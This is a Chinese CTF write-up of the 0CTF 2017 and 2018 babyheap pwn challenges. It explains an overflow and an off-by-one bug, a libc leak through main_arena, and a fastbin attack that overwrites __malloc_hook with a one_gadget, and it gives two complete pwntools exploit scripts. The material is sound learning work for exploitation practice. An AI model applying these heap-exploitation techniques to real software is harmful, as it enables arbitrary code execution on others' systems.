2017/2018-0ctf-babyheap-writeup

因为最近2019届0ctf-tctf开始了,想去水一水,特别把2018的babyheap和2017的babyheap做了一下汲取一下经验,感觉两题类型相似,大致思路相同,2018比2017的利用条件更加苛刻一些。所以把两个题目放在一起来写,有助于加深对fastbin_attack的理解,和提高知识运用的灵活性。
首先提供两道题目的二进制文件:2017_0ctf_babyheap 2018_0ctf_babyheap
先来看2017的题目: 预览: 可以看到文件为64位,保护全开,给了Libc,标准的堆题。。。看到full relro一般为改hook为one_gadget。放进ida里进一步分析:
2017/2018-0ctf-babyheap-writeup
文章图片

主要功能分析及漏洞寻找: 可以看到程序开始时先选了一段随机不可控的地址来储存heap列表的基地址(base_ptr)。紧接着就进入了死循环,打印菜单,输入选项,运行函数。逐个分析功能:
2017/2018-0ctf-babyheap-writeup
文章图片

allocate()功能中,我们发现heap的content大小由我们自己决定(小于0x1000),是可控的,且heap结构体中会储存heap内容的大小。此外,我们申请堆块时用的是 calloc() 这意味着堆块的数据开始时要被初始化为0,这一点需要注意
2017/2018-0ctf-babyheap-writeup
文章图片

fill()函数就是向我们申请过的chunk里填数据,不过有一个很明显的任意溢出更改漏洞。
2017/2018-0ctf-babyheap-writeup
文章图片

free()就是将chunk指针free(),没有uaf漏洞。
print()函数就是打印对应下标的chunk的content,不过打印的内容是根据我们在allocate()时输入的size来决定的。
思考如何利用漏洞: 首先我们的最终目标定为:将malloc_hook改为one_gadget,现阶段,我们只能借助于程序自身的fill()功能来进行写,而fill()功能又需要一个堆指针,所以我们的目标转化为如何使堆指针分配到malloc_hook附近,我们运用fastbin功能与overlapping结合的方法来实现。
leak:
因为我们要确定malloc_hook的地址与one_gadget的地址,所以必须泄露出libc。

  1. 泄露功能,我们可以利用程序的print()功能来实现,先申请4个chunk(chunk2大小为smallchunk),然后通过0来改写1的size,然后通过标准的overlapping方法,先free()再malloc(),然后chunk2现在在1的里面,(这里要注意,因为是calloc,所以再次申请chunk1的时候,chunk2的chunk_header会被清零,需要fill()重新布置一下),然后free chunk2,将其放入unsortedbin中,然后通过chunk1的print()打印出chunk2的fd指针,成功泄露libc。(这一部分不理解的可以看我文末的心得,有我第一次做的时候查的资料,帮助理解。)
change:
之后我们就可以先把chunk2(大小我们申请为0x60)放进fastbin里,然后通过chunk1改其fd指针为&main_arena-0x33,然后在申请两次即可,然后再通过改chunk4的内容来改malloc_hook,再申请则会触发one_gadget。
exp如下:
#coding:utf-8from pwn import * context(os='linux',arch='amd64') #context.log_level='debug' p=process('./babyheap') libc=ELF('./libc.so.6')def allocate(length): p.recvuntil('Command: ') p.sendline('1') p.recvuntil(': ') p.sendline(str(length))def fill(ID,length,payload): p.recvuntil('Command: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(ID)) p.recvuntil('Size: ') p.sendline(str(length)) p.recvuntil('Content: ') p.send(payload)def free(ID): p.recvuntil('Command: ') p.sendline('3') p.recvuntil('Index: ') p.sendline(str(ID))def dump(ID): p.recvuntil('Command: ') p.sendline('4') p.recvuntil('Index: ') p.sendline(str(ID))offset = 0x3c4b20 #---------------1.leak-------------------- #-------------overlapping start----------- allocate(0x20)#index 0 allocate(0x20)#index 1 allocate(0x100)#index 2 allocate(0x20)#index 3隔离index 2 防止其被topchunk合并 #---------------change-------------------- payload = 'a'*0x20+p64(0)+p64(0x141) fill(0,len(payload),payload) #gdb.attach(p)#--------------free and malloc------------ free(1) allocate(0x130) payload = '\x00'*0x20+p64(0)+p64(0x111)#因为calloc()会清空index 1 fill(1,len(payload),payload) #--------------overlapping down----------- free(2) #gdb.attach(p) dump(1) p.recvuntil('Content: \n') main_arena_addr = u64(p.recv()[48:48+6].ljust(8,'\x00')) - 88 libcbase = main_arena_addr - offset one_gadget = 0x4526a#0x4526a0xf02a40xf1147 one_gadget_addr = libcbase + one_gadget log.success('libcbase = ' + hex(libcbase)) #gdb.attach(p) #-------------leak down-------------------#---------------2.change------------------ p.sendline('1')#index 2 p.recvuntil(': ') p.sendline(str(96)) #gdb.attach(p)free(2) #gdb.attach(p)fake_chunk_addr = main_arena_addr - 0x33 payload = 'a'*0x20+p64(0)+p64(0x71)+p64(fake_chunk_addr) fill(1,len(payload),payload) #gdb.attach(p)allocate(0x60)#index 2 #gdb.attach(p)allocate(0x60)#index 4payload = 'a'*0x13 + p64(one_gadget_addr) fill(4,len(payload),payload)allocate(0x20)p.interactive()

再来看2018的题目: 主要功能分析与漏洞寻找: 和2017年的题目类似,有一些小的变化,一个是allocate()最大只能申请0x58的chunk(虽然条件变得苛刻,但是等于从侧面告诉了我们方向是fastbin_attack),然后是fill()不再有任意溢出漏洞,而是只有off-by-one漏洞,这不影响overlapping,只是方法要复杂一点。
思考如何利用漏洞: leak:
第一步肯定还是先想leak出libc,但是这个可能就有点小麻烦了。。。我们首先想到老方法:overlapping之后用大块打印小块的内容,但是小块一定是大于0x80的,所以我们不可能打印出小块的全部内容,我们也只需要fd指针位置的内容,这一点是可行的,但是因为chunk大小的限制,我们必须经过精心构造,来绕过检查。做了其他的fastbin_attack的题目后,又用了新方法:两个指针控制同一块chunk。。。。先将一块chunk(overlapping的小块)放进fastbin,然后利用overlapping的大块改其的fd指针最后一位为我们想要的重叠位置的chunk的地址的最后一位,因为内存页分配原则,导致他们地址除了最后的一个字节不一样,其他都一样。再malloc两次就完事,然后当重叠的chunk被free以后,还是可以通过另外一个堆指针来打印fd的内容,进行泄露。
change:
这里也要注意,因为chunk最大为0x60,所以原来的直接把&main_arena-0x33位置放进fastbin里已经失效(size为0x70),需要想别的办法。。。这里需要改top_chunk的地址(这里做的时候没想到。。。orz),首先要知道top_chunk的地址在&main_arena+80,而在&main_arena+80和&main_arena之间是用来存放fastbinY的,其值是fastbin中各个大小的的bins的头指针,如果全都没有的话则全为零,所以我们必须要一个chunk(其大小不能太小,不然离&main_arena+88太远控制不了)来压住,并利用其来伪造出fake_chunk的size。然后我们可以将fake_chunk设在伪造处,然后fill()更改top_chunk的地址为我们计划的地址(&main_arena-0x33),再次申请一个chunk(大小可以覆盖到malloc_hook)即可,然后再fill()更改其值。
exp如下(leak用的新方法):
#coding:utf-8from pwn import *context(os='linux',arch='amd64') #context.log_level = 'debug'p = process('./babyheap') P = ELF('./babyheap') libc = ELF('./libc-2.24.so')def allocate(length): p.recvuntil('Command: ') p.sendline('1') p.recvuntil('Size: ') p.sendline(str(length))def update(ID,payload): p.recvuntil('Command: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(ID)) p.recvuntil('Size: ') p.sendline(str(len(payload))) p.recvuntil('Content: ') p.send(payload)def delete(ID): p.recvuntil('Command: ') p.sendline('3') p.recvuntil('Index: ') p.sendline(str(ID))def view(ID): p.recvuntil('Command: ') p.sendline('4') p.recvuntil('Index: ') p.sendline(str(ID))#leak出libc size = 0x28 allocate(size)#index 0 allocate(size)#index 1 allocate(size)#index 2 allocate(size)#index 3 size = 0x80 allocate(size)#index 4payload = 'a'*0x28 + p8(0x61) update(0,payload)delete(1)allocate(0x50)#index 1delete(0) payload = 'a'*0x20+p64(0)+p64(0x31) update(1,payload) delete(2)payload = 'a'*0x20+p64(0)+p64(0x31)+p8(0xc0) update(1,payload) #gdb.attach(p) payload = 'a'*0x20+p64(0)+p8(0x31) update(3,payload)allocate(0x28)#index 0 allocate(0x28)#index 2 payload = 'a'*0x20+p64(0)+p8(0x91) update(3,payload) allocate(0x80)#index 5 payload = 'a'*0x20+p64(0)+p64(0x31) update(5,payload) delete(4)view(2) p.recvuntil('Chunk[2]: ') main_arena_addr = u64(p.recv(6).ljust(8,'\x00')) - 88 log.success('main_arena='+hex(main_arena_addr))#gdb.attach(p) libcbase = main_arena_addr - 0x3c4b20 one_gadget = 0x4526a one_gadget_addr = one_gadget + libcbase log.success('libc=' + hex(libcbase)) log.success('one_gadget='+hex(one_gadget_addr)) #gdb.attach(p) #改malloc_hook的值为one_gadget ''' #gdb.attach(p) payload = 'a'*0x20+p64(0)+p64(0x71) update(1,payload) payload = p64(0)+p64(0x81) update(2,payload)delete(0)payload = 'a'*0x20+p64(0)+p64(0x71)+p64(main_arena_addr-0x33) update(1,payload) #gdb.attach(p) ''' allocate(0x48)#index 4 delete(4) payload = p64(main_arena_addr+37) update(2,payload)allocate(0x58) delete(4)allocate(0x48)#index 4 #gdb.attach(p) allocate(0x48)#index 6 #gdb.attach(p)payload = '\x00'*35 + p64(main_arena_addr-0x33) update(6,payload)#gdb.attach(p) allocate(0x48)#index 7 payload = '\x00'*0x13 + p64(one_gadget_addr) update(7,payload) #gdb.attach(p)allocate(0x48)''' allocate(0x60)#index 6payload = 'a'*0x13 + p64(one_gadget_addr) update(6,payload) '''p.interactive()

我第一次做两道题的时候的一些心得: 2017-0ctf-babyheap:
  • 这一题准备自己独立做的,结果只能相出大致思路,不会leak无法入手,看了writeup,学会了新姿势,也对fastbin attack有了更深的认识。
  • 【2017/2018-0ctf-babyheap-writeup】leak出libc的方法除了泄露got表外,还有另一种:通过泄露main_arena来泄露libc。详情见链接:
    利用main_arena泄露libc
  • __malloc_hook为函数指针,当其不为NULL时,优先调用其指向的函数,一般有堆题又开了full relro的基本为这种,或者是free的。
  • fastbin attack我的体会是其先free将chunk送入fastbin,然后如果有uaf的话直接改写其fd指针,没有uaf的话就通过溢出或者overlapping(需要off_one_by)来改写fd指针,然后再malloc使堆指针指向我们计划好的地方(这里需要注意要通过fastbin的检查,fake_chunk的size要和malloc(size)的size一样)。 fastbin的大小范围(总大小)为大于等于0x20小于等于0x80。
  • unsortedbin 的一些体会:ptr=malloc(0x80),free(ptr),会被分到unsortedbin中,unsortedbin的结构图在上面的链接里有,其是在main_arena+88处 main_arena又在libc的data的段里。 当malloc()时,当fastbin里没有大小正好合适的chunk的时候,会从unsortedbin中找到大小大于需求的块切割了分给用户,剩下的继续留在unsortedbin中。
  • 当free(smallchunk)时一定要注意不要被topchunk合并,并且不要触发unlink。
  • calloc()申请的空间会全设为’\x00’
2018_0ctf_babyheap:
  • 这一题算做出来百分之80,因为有2017年babyheap的经验大致思路有个轮廓。
  • 不知道为啥exp得多尝试几次才能成功,有时候会报错。???
  • 对堆的利用有了更深的理解:
    1. leak的方式:
      • 程序自带的打印功能,这又分为几种情况:
        1. 打印字符串(常见的有name,host等等),注意这些字符串输入的时候有没有最后 ‘\x00’ 的缺失,如果有的话就会泄露之后的数据;还要注意其是不是用strcpy()输入的,如果是的话,可能又会有漏洞。
        2. 打印功能的函数,目前碰到的有两种情况:
          1. 打印存在堆上的content的内容,而堆指针不知道在什么位置,这种一般是利用其泄露&main_arena+88的地址。
          2. 打印存在堆上的content的内容,而堆指针知道在什么位置(bss段)或者也在堆上,然后通过unlink或者其他的方法(程序的edit功能漏洞)将堆指针改为函数的got表(一定要是调用后的函数),然后泄露函数实际地址进而泄露libc。
      • 自己构造泄露,需要先通过操作实现change的功能,然后通过(比如)free(chunk_ptr),先改free_got的值为put_plt,然后将chunk_ptr的值设为某个函数的got表,就泄露了那个函数的实际地址。
    2. edit的方式:
      • 程序自带的edit功能,可能存在off-by-one类漏洞(一般之后为chunk overlapping),或者直接不限制大小直接输入。
      • 程序在申请chunk的时候就会输入内容。

    推荐阅读